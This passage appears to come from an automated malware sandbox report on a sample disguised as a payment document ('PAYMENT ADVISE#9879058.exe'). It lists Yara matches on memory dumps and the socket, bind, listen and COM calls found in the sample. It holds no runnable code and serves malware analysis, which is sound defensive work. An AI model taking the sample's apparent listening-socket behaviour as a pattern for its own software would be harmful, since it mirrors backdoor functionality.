Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2959379992.00000000011A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2342184824.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2958344133.00000000030E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2959484035.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2959545540.0000000003600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2341550139.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2342246132.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2959632438.0000000002E80000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_004741BB
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,		0_2_0046483C
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,		0_2_0047AD92